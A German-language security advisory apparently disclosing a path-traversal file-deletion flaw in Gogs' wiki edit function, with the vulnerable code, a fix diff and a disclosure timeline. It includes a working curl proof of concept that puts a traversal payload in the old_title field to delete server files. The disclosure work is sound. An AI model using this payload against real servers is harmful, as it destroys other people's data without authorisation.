
Beliebige Dateilöschung in Gogs über Wiki-Pfad-Traversal
Schweregrad: Hoch (CVSS 7.5)
Betroffene Software: Gogs <= 0.13.3
Behoben in: 0.13.4, 0.14.0+dev
Advisory: GHSA-jp7c-wj6q-3qf2
Patch: gogs/gogs#8099
Während eines Sicherheits-Audits von Gogs (einem beliebten, in Go geschriebenen selbst gehosteten Git-Dienst) habe ich eine Path-Traversal-Schwachstelle in der Funktion updateWikiPage gefunden. Sie erlaubt es einem authentifizierten Benutzer mit Schreibzugriff auf das Wiki, beliebige Dateien auf dem Server zu löschen, indem er Path-Traversal-Sequenzen in den Parameter old_title des Wiki-Bearbeitungsformulars injiziert.
Die Schwachstelle ist ein asymmetrischer Sanitization-Fehler in internal/database/wiki.go. Wenn eine Wiki-Seite aktualisiert wird, behandelt die Funktion zwei Titelparameter unterschiedlich:
| Parameter | Bereinigt? | Verwendet in |
|---|---|---|
title (neuer Name) | Ja — über ToWikiPageName() | path.Join() für die Dateierstellung |
oldTitle (vorheriger Name) | Nein | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
Der Wert von oldTitle fließt direkt aus der vom Benutzer kontrollierten Formulareingabe über den Route-Handler in os.Remove() – ohne jegliche Pfad-Bereinigung.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Voraussetzungen: Authentifizierter Benutzer mit Schreibzugriff auf das Wiki eines beliebigen Repositorys.
/repo/wiki/edit abold_title so, dass es Path-Traversal-Sequenzen enthält (z. B. ../../../../tmp/target_file)# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
Die Erweiterung .md wird automatisch angehängt. Jede Datei, die auf .md endet und auf die der Gogs-Prozess Schreibrechte hat, kann gelöscht werden.
| Auswirkung | Beschreibung |
|---|---|
| Beliebige Dateilöschung | Löschen beliebiger .md-Dateien, auf die der Gogs-Prozess Schreibzugriff hat |
| Denial of Service | Entfernen kritischer Konfigurations- oder Datendateien |
| Datenverlust | Zerstören von Wiki-Seiten, Dokumentationen oder Repository-Dateien anderer Benutzer |
| Potenzielle Eskalation | In Kombination mit anderen Schwachstellen könnte dies zu einer weiteren Kompromittierung führen |
Wende dieselbe ToWikiPageName-Bereinigung auf oldTitle an, die bereits auf title angewendet wird:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
Ich habe diesen Fix im Rahmen der Offenlegung vorgeschlagen, und die Gogs-Maintainer haben ihn in PR #8099 umgesetzt.
| Datum | Ereignis |
|---|---|
| 2025-12-13 | Schwachstelle während des Sicherheits-Audits entdeckt |
| 2025-12-13 | Advisory über das GitHub Security Advisory eingereicht (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Nachfrage bei den Gogs-Maintainern |
| 2026-01-20 | Maintainer bestätigte die Schwachstelle |
| 2026-01-22 | Patch zusammengeführt (#8099) |
| 2026-01-22 | CVE-2026-24135 von GitHub zugewiesen |
| 2026-02-06 | Öffentliche Offenlegung |